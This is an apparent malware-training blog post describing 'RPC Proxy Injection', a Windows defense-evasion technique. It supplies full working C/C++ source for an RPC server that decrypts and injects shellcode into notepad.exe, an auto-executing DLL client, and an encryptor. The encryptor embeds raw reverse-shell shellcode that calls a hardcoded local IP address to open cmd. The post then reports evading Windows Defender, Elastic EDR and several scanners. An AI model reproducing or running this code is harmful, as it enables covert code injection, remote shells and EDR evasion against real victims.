RPC Proxy Injection is an advanced defense-evasion and action source-spoofing technique in which a malicious DLL containing an RPC client is injected into a legitimate Windows process (for example, explorer.exe or svchost.exe). Once loaded, the DLL, either automatically or on demand, establishes a local RPC connection (via ncalrpc or ALPC) to a malicious RPC server running in the attacker's process.
This design makes the legitimate process appear to be the originator of sensitive or malicious actions, such as process injection, credential access, or token manipulation. As a result, the true source of the commands is hidden, reducing suspicion from EDR solutions that rely on caller identity and API call-chain analysis.

Courses: Learn how real malware works on Windows OS from beginner to advanced taking our courses, all explained in C++.
Technique Database: Access 50+ real malware techniques with weekly updates, complete with code, PoCs, and AV scan results:
Malware Techniques Database
Explore an ever-growing collection of malware techniques
0x12darkdev.net
Modules: Dive deep into essential malware topics with our modular training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
Code
Server
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
#include "message.h"
#pragma comment(lib, "Rpcrt4.lib")
// Add evasion
// 1- Encrypted shellcode = DONE!
// 2- Decode at runtime = DONE!
// 3- Divide responsibility -> OpenProcess and VirtualAllocEx in the DLL. WriteProcessMemory and CreateRemoteThread in the RPC server = DONE!
// 4- Change to CustomWriteProcessMemory
// 5- Alternative to CreateRemoteThread
// 6- Divide Shellcode responsibility -> DLL writes a part of shellcode + RPC server writes the rest
unsigned char buf[] = "\x5d\x76\x00\x00\x1c\x29\x00\x00\x9f\x48\x00\x00\x70\x48\x00\x00\x87\x19\x85\x26\x8a\x8d\x26\xfa\x31\x33\x14\x1b\x7b\x0a\xd4\xe6\xee\xbd\x3f\x7f\x45\xa1\x12\xfa\xa3\x46\xc3\x7a\xa5\x87\xae\x53\x4b\xc5\x53\x6b\xbc\xf7\x98\xe1\xb6\x98\x94\x8c\x13\xfd\xd0\xb5\xa6\xba\x94\x5d\xda\xff\x71\xef\x88\xf4\x4f\x31\x37\xf0\xa4\x3d\x93\xdf\xb4\x7c\x58\x28\x07\xe4\x19\x72\x87\xaa\x99\xd0\x83\xca\x9b\xdf\xe5\x98\x07\x4f\x46\x3f\x83\x57\x31\x4e\xe3\xdc\xb9\xfd\xdd\x79\x35\x51\xa6\x71\x26\xcf\xc5\x64\xdb\x0c\xcc\xf6\x04\xa3\x94\x23\x8c\x3b\x8d\x81\xf5\xb0\xd6\x07\xb9\xcb\xc5\x3b\x68\x9d\x99\xbd\x07\x9f\x86\x3c\x72\x42\xd9\xef\x48\x29\xe2\x5b\x9d\xa9\x06\x52\xfe\xc9\x37\xda\x6b\xfa\xd0\x4f\x87\xd3\xa1\xf6\xc6\x0a\x68\x1b\x29\x40\xe7\x72\x9a\x83\xe3\x41\x1b\x77\x30\x73\xe5\xd8\xd5\x88\x9b\x2c\x0c\x67\xe8\x4c\x10\xc4\x66\x91\xbb\x24\xb0\x88\xa5\xb7\xba\x59\x8c\x0d\x36\x2f\x16\xaa\x03\xb3\x80\xcd\x10\x51\x11\x2c\xb2\x82\x8b\x9c\x7a\x03\x83\xae\x12\xbf\xb4\x3c\xc8\xde\xb9\x51\x91\x60\x53\x8c\x3b\x1b\x9d\x1d\x2a\x58\x9f\x63\xce\xa8\x5a\xeb\x7a\x88\x1e\x62\x5f\xc6\x55\xab\xa5\xcf\x40\xd2\x1a\x15\x73\x6d\x5e\xb9\x86\xcf\x53\xdd\xb4\x4b\x30\xc2\x51\xfb\xb5\x5e\x50\x79\x6c\x51\x56\x83\x7e\x2e\x8c\xc0\x46\xd0\xda\x21\x5f\x85\xef\x66\xd5\xb7\xc1\x65\x93\xb2\xb7\x99\xf2\xa8\xb0\x36\x31\x97\x26\x75\x85\xd7\x3f\x31\xbd\x27\x56\xbb\x16\xde\xd1\xe2\x82\x1d\x55\x3d\xc4\x9f\xe8\x12\x52\x82\x42\x7e\x18\x60\xd6\x39\x0a\x56\x1f\x01\x63\x69\x26\xbe\x92\x75\x99\x37\x3b\x44\x93\xb5\x55\xcc\xc5\x49\x60\xf8\x8b\x37\x73\x50\x95\xef\xfa\x0e\xf0\x33\xbc\x27\x96\xf2\xc6\x90\x0f\xae\x5b\xc4\xb4\xc8\x02\x5d\xea\xc2\xa0\xcd\xa4\x84\x8b\xe8\x27\x0f\xdc\x36\x23\x55\x9e\x0b\x1d\x54\xe4\x22\x47\x73\x68\x16\x4a\x66\xc7\x2b\xa3\x94\xa3\xfb\x49\xee\x7d\x35\x1e\x0e\x33\xb0\x49\xcf\x29\x7b\x0a\x36\x24\x83\x89\x38\x56\x5f\xda\x99\x15\x01\x11\xdb\x5b\x6a\xf0\xba\x53\x29\x44\x3c\xe3\x94\x89\xe3\x8a\xce\x4b\x8d\x2b\x12\xc7\xd6\x21\xea\xf3\x48\xf6\x70";
int bufLen = sizeof(buf);
// ==================== GLOBAL STATE ====================
unsigned char* g_DecryptBuffer = NULL;
SIZE_T g_PaddedLen = 0;
#define ROUNDS 45
#define BLOCK_BYTES 16
uint64_t roundKeys[ROUNDS];
// ==================== CRC32 ====================
uint32_t crc32Table[256];
void generateCrc32Table() {
for (uint32_t i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) {
c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
}
crc32Table[i] = c;
}
}
uint32_t crc32(const unsigned char* data, size_t length) {
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < length; i++) {
crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);
}
return crc ^ 0xFFFFFFFF;
}
// ==================== SPECK ====================
void parseHexKey(const char* keyStr, uint64_t key[2]) {
char buffer[17] = { 0 };
strncpy(buffer, keyStr, 16);
key[0] = strtoull(buffer, NULL, 16);
strncpy(buffer, keyStr + 16, 16);
key[1] = strtoull(buffer, NULL, 16);
}
uint64_t rol(uint64_t x, int r) {
return (x << r) | (x >> (64 - r));
}
uint64_t ror(uint64_t x, int r) {
return (x >> r) | (x << (64 - r));
}
void speckKeySchedule(uint64_t key[2]) {
roundKeys[0] = key[0];
uint64_t b = key[1];
for (int i = 0; i < ROUNDS - 1; i++) {
b = (ror(b, 8) + roundKeys[i]) ^ i;
roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
}
}
void speckEncrypt(uint64_t* x, uint64_t* y) {
for (int i = 0; i < ROUNDS; i++) {
*x = (ror(*x, 8) + *y) ^ roundKeys[i];
*y = rol(*y, 3) ^ *x;
}
}
void speckDecrypt(uint64_t* x, uint64_t* y) {
for (int i = ROUNDS - 1; i >= 0; i--) {
*y = ror(*y ^ *x, 3);
*x = rol((*x ^ roundKeys[i]) - *y, 8);
}
}
// ==================== RPC FUNCTIONS ====================
void GetSize(handle_t IDL_handle, hyper* size)
{
printf("[SERVER] GetSize: Starting\n");
if (size == NULL) {
printf("[SERVER ERROR] GetSize: size is NULL\n");
return;
}
const char* keyStr = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";
uint64_t key[2];
parseHexKey(keyStr, key);
speckKeySchedule(key);
uint64_t* iv = (uint64_t*)buf;
int totalLen = sizeof(buf) - 1;
int payloadLen = totalLen - BLOCK_BYTES;
int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);
printf("[SERVER] GetSize: Calculated padded length = %d\n", paddedLen);
if (g_DecryptBuffer) {
printf("[SERVER] GetSize: Freeing previous buffer\n");
free(g_DecryptBuffer);
g_DecryptBuffer = NULL;
}
g_DecryptBuffer = (unsigned char*)malloc(paddedLen);
if (!g_DecryptBuffer) {
printf("[SERVER ERROR] GetSize: malloc failed\n");
*size = 0;
return;
}
printf("[SERVER] GetSize: Buffer allocated successfully\n");
memcpy(g_DecryptBuffer, buf + BLOCK_BYTES, paddedLen);
uint64_t prevDecrypt[2] = { iv[0], iv[1] };
for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {
uint64_t* block = (uint64_t*)(g_DecryptBuffer + i);
uint64_t temp[2] = { block[0], block[1] };
speckDecrypt(&block[0], &block[1]);
block[0] ^= prevDecrypt[0];
block[1] ^= prevDecrypt[1];
prevDecrypt[0] = temp[0];
prevDecrypt[1] = temp[1];
}
g_PaddedLen = paddedLen;
*size = (hyper)paddedLen;
printf("[SERVER SUCCESS] GetSize: Returning size = %lld\n", *size);
}
void TriggerInjection(
handle_t IDL_handle,
int pid,
hyper hProcess,
hyper allocMem,
unsigned char** response
)
{
printf("[SERVER] TriggerInjection: Starting\n");
printf("[SERVER] TriggerInjection: PID=%d hProcess=0x%llx allocMem=0x%llx\n",
pid, hProcess, allocMem);
if (!response) {
printf("[SERVER ERROR] TriggerInjection: response is NULL\n");
return;
}
if (!g_DecryptBuffer) {
printf("[SERVER ERROR] TriggerInjection: Decryption buffer is NULL\n");
const char* msg = "Decryption buffer not initialized";
*response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
strcpy((char*)*response, msg);
return;
}
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!processHandle) {
printf("[SERVER ERROR] TriggerInjection: OpenProcess failed (0x%08x)\n", GetLastError());
const char* msg = "Failed to open target process";
*response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
strcpy((char*)*response, msg);
return;
}
printf("[SERVER] TriggerInjection: Process opened successfully\n");
LPVOID remoteMem = (LPVOID)(ULONG_PTR)allocMem;
if (!remoteMem) {
printf("[SERVER ERROR] TriggerInjection: allocMem is NULL\n");
CloseHandle(processHandle);
return;
}
SIZE_T written;
if (!WriteProcessMemory(processHandle, remoteMem, g_DecryptBuffer, g_PaddedLen, &written)) {
printf("[SERVER ERROR] TriggerInjection: WriteProcessMemory failed (0x%08x)\n", GetLastError());
CloseHandle(processHandle);
return;
}
printf("[SERVER SUCCESS] TriggerInjection: Wrote %zu bytes\n", written);
HANDLE hThread = CreateRemoteThread(
processHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteMem,
NULL,
0,
NULL
);
if (!hThread) {
printf("[SERVER ERROR] TriggerInjection: CreateRemoteThread failed (0x%08x)\n", GetLastError());
CloseHandle(processHandle);
return;
}
printf("[SERVER SUCCESS] TriggerInjection: Remote thread created\n");
CloseHandle(hThread);
CloseHandle(processHandle);
free(g_DecryptBuffer);
g_DecryptBuffer = NULL;
const char* reply = "Injection succeeded";
*response = (unsigned char*)midl_user_allocate(strlen(reply) + 1);
strcpy((char*)*response, reply);
printf("[SERVER SUCCESS] TriggerInjection: Completed successfully\n");
}
// ==================== RPC MEMORY ====================
void* __RPC_USER midl_user_allocate(size_t len) {
return malloc(len);
}
void __RPC_USER midl_user_free(void* ptr) {
free(ptr);
}
// ==================== MAIN ====================
// midl /env x64 /robust message.idl
// Include message_s.c and message.h
int main()
{
RPC_STATUS status;
status = RpcServerUseProtseqEpA(
(RPC_CSTR)"ncalrpc",
RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
(RPC_CSTR)"MessageRPC",
NULL
);
if (status) return status;
status = RpcServerRegisterIf(
MessageRPC_v1_0_s_ifspec,
NULL,
NULL
);
if (status) return status;
printf("[SERVER] RPC Server running...\n");
status = RpcServerListen(
1,
RPC_C_LISTEN_MAX_CALLS_DEFAULT,
FALSE
);
return status;
}The RPC server acts as a privileged local service that prepares and executes a payload inside a target process. It exposes two RPC methods that are only reachable through a local ALPC (ncalrpc) endpoint, limiting access to the same machine.
The first RPC method (GetSize) is responsible for decrypting an incoming encrypted payload. It uses a symmetric block cipher in CBC-like mode, where the first block acts as an initialization vector. The server allocates a buffer, decrypts the payload block by block, and stores the result in global memory. The decrypted size is returned to the client so the correct amount of memory can be allocated in the target process.
The second RPC method (TriggerInjection) performs the actual injection. It opens the target process using the provided process identifier, writes the previously decrypted payload into a memory region already allocated by the client, and then creates a remote thread starting at that memory address. After execution, all sensitive buffers and handles are released to avoid reuse or instability.
Overall, the server cleanly separates payload preparation from execution, while using RPC as a controlled communication channel between user-mode components
DLL
// dllmain.cpp : RPC Client DLL that automatically connects to the local server
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <rpc.h>
#include <string>
#include <iostream>
#include <tlhelp32.h>
#include "message.h" // Generated by MIDL - includes the interface definitions
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;
int getPIDbyProcName(const string& procName) {
OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Starting process search");
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
OutputDebugStringW(L"[ERROR] getPIDbyProcName: CreateToolhelp32Snapshot failed");
return 0;
}
OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Snapshot created successfully");
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
wchar_t msg[512];
swprintf_s(msg, L"[DEBUG] getPIDbyProcName: Searching for process: %s", wideProcName.c_str());
OutputDebugStringW(msg);
do {
if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
swprintf_s(msg, L"[SUCCESS] getPIDbyProcName: Process found! PID=%d", pid);
OutputDebugStringW(msg);
break;
}
} while (Process32NextW(hSnap, &pe32) != FALSE);
if (pid == 0) {
OutputDebugStringW(L"[WARNING] getPIDbyProcName: Process not found");
}
}
else {
OutputDebugStringW(L"[ERROR] getPIDbyProcName: Process32FirstW failed");
}
CloseHandle(hSnap);
return pid;
}
// -----------------------------------------------------
// Memory management functions required by RPC
// -----------------------------------------------------
void* __RPC_USER midl_user_allocate(size_t size)
{
wchar_t msg[256];
swprintf_s(msg, L"[DEBUG] midl_user_allocate: Allocating %zu bytes", size);
OutputDebugStringW(msg);
return malloc(size);
}
void __RPC_USER midl_user_free(void* ptr)
{
OutputDebugStringW(L"[DEBUG] midl_user_free: Freeing memory");
free(ptr);
}
long long getPaddedLen() {
OutputDebugStringW(L"[DEBUG] getPaddedLen: Starting");
RPC_STATUS status;
RPC_WSTR stringBinding = NULL;
RPC_BINDING_HANDLE binding = NULL;
// 1. Compose the binding string for local RPC (ncalrpc)
OutputDebugStringW(L"[DEBUG] getPaddedLen: Composing binding string");
status = RpcStringBindingComposeW(
NULL,
(RPC_WSTR)L"ncalrpc",
NULL,
(RPC_WSTR)L"MessageRPC",
NULL,
&stringBinding
);
if (status != RPC_S_OK)
{
wchar_t msg[256];
swprintf_s(msg, L"[ERROR] getPaddedLen: RpcStringBindingCompose failed: 0x%08x", status);
OutputDebugStringW(msg);
return 0;
}
OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding string composed");
// 2. Create the actual binding handle
OutputDebugStringW(L"[DEBUG] getPaddedLen: Creating binding handle");
status = RpcBindingFromStringBindingW(stringBinding, &binding);
RpcStringFreeW(&stringBinding);
if (status != RPC_S_OK)
{
wchar_t msg[256];
swprintf_s(msg, L"[ERROR] getPaddedLen: RpcBindingFromStringBinding failed: 0x%08x", status);
OutputDebugStringW(msg);
return 0;
}
OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding handle created");
RpcTryExcept
{
OutputDebugStringW(L"[DEBUG] getPaddedLen: Calling GetSize RPC");
long long size = 0;
GetSize(binding, &size);
wchar_t msg[256];
swprintf_s(msg, L"[SUCCESS] getPaddedLen: GetSize returned: %lld", size);
OutputDebugStringW(msg);
return size;
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER)
{
wchar_t msg[256];
swprintf_s(msg, L"[ERROR] getPaddedLen: RPC Exception: 0x%08x", RpcExceptionCode());
OutputDebugStringW(msg);
}
RpcEndExcept
OutputDebugStringW(L"[DEBUG] getPaddedLen: Finishing with error");
return 0;
}
// -----------------------------------------------------
// Helper function to make the RPC call
// -----------------------------------------------------
void CallRpcServer(int pid, HANDLE hProcess, LPVOID allocMem)
{
OutputDebugStringW(L"[DEBUG] CallRpcServer: Starting");
wchar_t msg[256];
swprintf_s(msg, L"[DEBUG] CallRpcServer: PID=%d, hProcess=0x%p, allocMem=0x%p", pid, hProcess, allocMem);
OutputDebugStringW(msg);
RPC_STATUS status;
RPC_WSTR stringBinding = NULL;
RPC_BINDING_HANDLE binding = NULL;
OutputDebugStringW(L"[DEBUG] CallRpcServer: Composing binding string");
status = RpcStringBindingComposeW(
NULL,
(RPC_WSTR)L"ncalrpc",
NULL,
(RPC_WSTR)L"MessageRPC",
NULL,
&stringBinding
);
if (status != RPC_S_OK)
{
swprintf_s(msg, L"[ERROR] CallRpcServer: RpcStringBindingCompose failed: 0x%08x", status);
OutputDebugStringW(msg);
return;
}
OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding string composed");
OutputDebugStringW(L"[DEBUG] CallRpcServer: Creating binding handle");
status = RpcBindingFromStringBindingW(stringBinding, &binding);
RpcStringFreeW(&stringBinding);
if (status != RPC_S_OK)
{
swprintf_s(msg, L"[ERROR] CallRpcServer: RpcBindingFromStringBinding failed: 0x%08x", status);
OutputDebugStringW(msg);
return;
}
OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding handle created");
RpcTryExcept
{
OutputDebugStringW(L"[DEBUG] CallRpcServer: Calling TriggerInjection RPC");
unsigned char* response = NULL;
TriggerInjection(binding, pid, (hyper)hProcess, (hyper)allocMem, &response);
OutputDebugStringW(L"[SUCCESS] CallRpcServer: TriggerInjection completed");
if (response)
{
wchar_t dbg[512];
swprintf_s(dbg, L"[SUCCESS] CallRpcServer: Server response: %S", response);
OutputDebugStringW(dbg);
midl_user_free(response);
}
else {
OutputDebugStringW(L"[WARNING] CallRpcServer: NULL response from server");
}
}
RpcExcept(EXCEPTION_EXECUTE_HANDLER)
{
swprintf_s(msg, L"[ERROR] CallRpcServer: RPC Exception: 0x%08x", RpcExceptionCode());
OutputDebugStringW(msg);
}
RpcEndExcept
OutputDebugStringW(L"[DEBUG] CallRpcServer: Finishing");
}
// -----------------------------------------------------
// Entry point
// -----------------------------------------------------
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
int pid;
HANDLE hProcess;
SIZE_T size;
LPVOID allocMem;
long long paddedLenValue;
case DLL_PROCESS_ATTACH:
OutputDebugStringW(L"[INFO] ========================================");
OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH started");
OutputDebugStringW(L"[INFO] ========================================");
OutputDebugStringW(L"[DEBUG] DllMain: Getting PID of notepad.exe");
pid = getPIDbyProcName("notepad.exe");
if (pid == 0) {
OutputDebugStringW(L"[ERROR] DllMain: Failed to find notepad.exe");
return FALSE;
}
wchar_t msg[256];
swprintf_s(msg, L"[DEBUG] DllMain: Opening process PID=%d", pid);
OutputDebugStringW(msg);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
DWORD err = GetLastError();
swprintf_s(msg, L"[ERROR] DllMain: OpenProcess failed. Error: 0x%08x", err);
OutputDebugStringW(msg);
return FALSE;
}
swprintf_s(msg, L"[SUCCESS] DllMain: Process opened. Handle=0x%p", hProcess);
OutputDebugStringW(msg);
OutputDebugStringW(L"[DEBUG] DllMain: Getting padded size");
paddedLenValue = getPaddedLen();
if (paddedLenValue == 0) {
OutputDebugStringW(L"[ERROR] DllMain: getPaddedLen returned 0");
CloseHandle(hProcess);
return FALSE;
}
size = (SIZE_T)paddedLenValue;
swprintf_s(msg, L"[DEBUG] DllMain: Size to allocate: %zu bytes", size);
OutputDebugStringW(msg);
OutputDebugStringW(L"[DEBUG] DllMain: Allocating memory in remote process");
allocMem = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
DWORD err = GetLastError();
swprintf_s(msg, L"[ERROR] DllMain: VirtualAllocEx failed. Error: 0x%08x", err);
OutputDebugStringW(msg);
CloseHandle(hProcess);
return FALSE;
}
swprintf_s(msg, L"[SUCCESS] DllMain: Memory allocated at: 0x%p", allocMem);
OutputDebugStringW(msg);
OutputDebugStringW(L"[DEBUG] DllMain: Calling CallRpcServer");
CallRpcServer(pid, hProcess, allocMem);
OutputDebugStringW(L"[INFO] ========================================");
OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH completed");
OutputDebugStringW(L"[INFO] ========================================");
break;
case DLL_THREAD_ATTACH:
OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_ATTACH");
break;
case DLL_THREAD_DETACH:
OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_DETACH");
break;
case DLL_PROCESS_DETACH:
OutputDebugStringW(L"[DEBUG] DllMain: DLL_PROCESS_DETACH");
break;
}
return TRUE;
}The client code is implemented as a DLL that executes automatically when loaded into a process. Its role is to locate a target process, prepare the execution environment, and coordinate with the RPC server
When the DLL is loaded, it enumerates running processes to find a specific target by name and opens it with full access. It then establishes a local RPC connection to the server and requests the size of the decrypted payload. This allows the client to allocate an appropriately sized executable memory region inside the target process.
After memory allocation, the client invokes a second RPC call that instructs the server to write the decrypted payload into the allocated memory and execute it. The client receives a status response from the server and performs cleanup of all RPC-related resources.
By splitting responsibilities, the client remains lightweight and focused on orchestration, while the server handles cryptographic processing and execution logic. This design improves modularity and reduces the amount of sensitive logic embedded directly in the injected component
Proof of Concept
Windows 11:
Before anything, you need to replace the encrypted shellcode with your own, in my case i'm using this as the encryption process:
// Based on original code from:
// https://cocomelonc.github.io/malware/2025/05/29/malware-cryptography-42.html
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#define ROUNDS 45
#define BLOCK_BYTES 16
uint64_t roundKeys[ROUNDS];
// Generate the CRC32 table
uint32_t crc32Table[256];
void generateCrc32Table() {
for (uint32_t i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) {
c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
}
crc32Table[i] = c;
}
}
uint32_t crc32(const unsigned char* data, size_t length) {
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < length; i++) {
crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);
}
return crc ^ 0xFFFFFFFF;
}
void parseHexKey(const char* keyStr, uint64_t key[2]) {
char buffer[17] = { 0 };
strncpy(buffer, keyStr, 16);
key[0] = strtoull(buffer, NULL, 16);
strncpy(buffer, keyStr + 16, 16);
key[1] = strtoull(buffer, NULL, 16);
}
uint64_t rol(uint64_t x, int r) {
return (x << r) | (x >> (64 - r));
}
uint64_t ror(uint64_t x, int r) {
return (x >> r) | (x << (64 - r));
}
void speckKeySchedule(uint64_t key[2]) {
roundKeys[0] = key[0];
uint64_t b = key[1];
for (int i = 0; i < ROUNDS - 1; i++) {
b = (ror(b, 8) + roundKeys[i]) ^ i;
roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
}
}
void speckEncrypt(uint64_t* x, uint64_t* y) {
for (int i = 0; i < ROUNDS; i++) {
*x = (ror(*x, 8) + *y) ^ roundKeys[i];
*y = rol(*y, 3) ^ *x;
}
}
void speckDecrypt(uint64_t* x, uint64_t* y) {
for (int i = ROUNDS - 1; i >= 0; i--) {
*y = ror(*y ^ *x, 3);
*x = rol((*x ^ roundKeys[i]) - *y, 8);
}
}
// Simple 64-bit random number generator
uint64_t rand64() {
return ((uint64_t)rand() << 32) | rand();
}
int main() {
generateCrc32Table();
srand((unsigned int)time(NULL)); // Seed for random IV
unsigned char payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x04\xbc\xc0\xa8\x01\x90"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
//const char* keyStr = "f7Ea9C2b4D10xL8zQ5Wk3P6rIeG0jN7o";
const char* keyStr = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";
//const char* keyStr = "19181110090801001110980801000908";
uint64_t key[2];
parseHexKey(keyStr, key);
speckKeySchedule(key);
int payloadLen = sizeof(payload) - 1;
int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);
// Allocate buffer for IV + encrypted shellcode
unsigned char* encryptedBuffer = (unsigned char*)calloc(1, BLOCK_BYTES + paddedLen);
if (!encryptedBuffer) return 1;
// Copy shellcode to encryption buffer (implicit zero padding)
memcpy(encryptedBuffer + BLOCK_BYTES, payload, payloadLen);
// Create random IV and place it at the start of the buffer
uint64_t* iv = (uint64_t*)encryptedBuffer;
iv[0] = rand64();
iv[1] = rand64();
// Speck encryption in CBC mode
uint64_t prev[2] = { iv[0], iv[1] };
for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {
uint64_t* block = (uint64_t*)(encryptedBuffer + BLOCK_BYTES + i);
block[0] ^= prev[0];
block[1] ^= prev[1];
speckEncrypt(&block[0], &block[1]);
prev[0] = block[0];
prev[1] = block[1];
}
printf("Encrypted Shellcode + IV:\n");
for (int i = 0; i < BLOCK_BYTES + paddedLen; i++) {
printf("\\x%02x", encryptedBuffer[i]);
}
printf("\n\n");
// ==================== DECRYPTION ====================
unsigned char* decryptBuffer = (unsigned char*)malloc(paddedLen);
memcpy(decryptBuffer, encryptedBuffer + BLOCK_BYTES, paddedLen);
uint64_t prevDecrypt[2] = { iv[0], iv[1] };
for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {
uint64_t* block = (uint64_t*)(decryptBuffer + i);
uint64_t temp[2] = { block[0], block[1] };
speckDecrypt(&block[0], &block[1]);
block[0] ^= prevDecrypt[0];
block[1] ^= prevDecrypt[1];
prevDecrypt[0] = temp[0];
prevDecrypt[1] = temp[1];
}
// CRC32 verification
uint32_t origCrc = crc32(payload, payloadLen);
uint32_t decCrc = crc32(decryptBuffer, payloadLen);
printf("Decrypted Payload CRC32: 0x%08X\n", decCrc);
printf("Original Payload CRC32: 0x%08X\n", origCrc);
if (origCrc == decCrc)
printf("\nDecryption OK: payload restored.\n");
else
printf("\nDecryption FAILED: corruption detected.\n");
free(encryptedBuffer);
free(decryptBuffer);
return 0;
}First, we will open a Notepad and a Paint, the notepad will be the victim process, the Paint will be our accomplice (the process where we inject the DLL)
Then we just execute the Server:

And as the final step, load the DLL into the Paint process. In my case, I'm using System Informer, but this step can be automated directly in the C++ code
And the result:
Server

DLL

Reverse Shell Listener:

Detection
Now it's time to see if the defenses are detecting this as a malicious threat
Kleenscan API
Server:

DLL:

Litterbox
Static Analysis:

Dynamic Analysis:
Clean
ThreatCheck

Windows Defender

Also undetected in runtime!
Centurion

No TCP/UDP connections:

Elastic EDR
No alert/rule has been activated, so basically we are evading the Elastic EDR rules. But if we check deeply inside all the logs we can see something like this
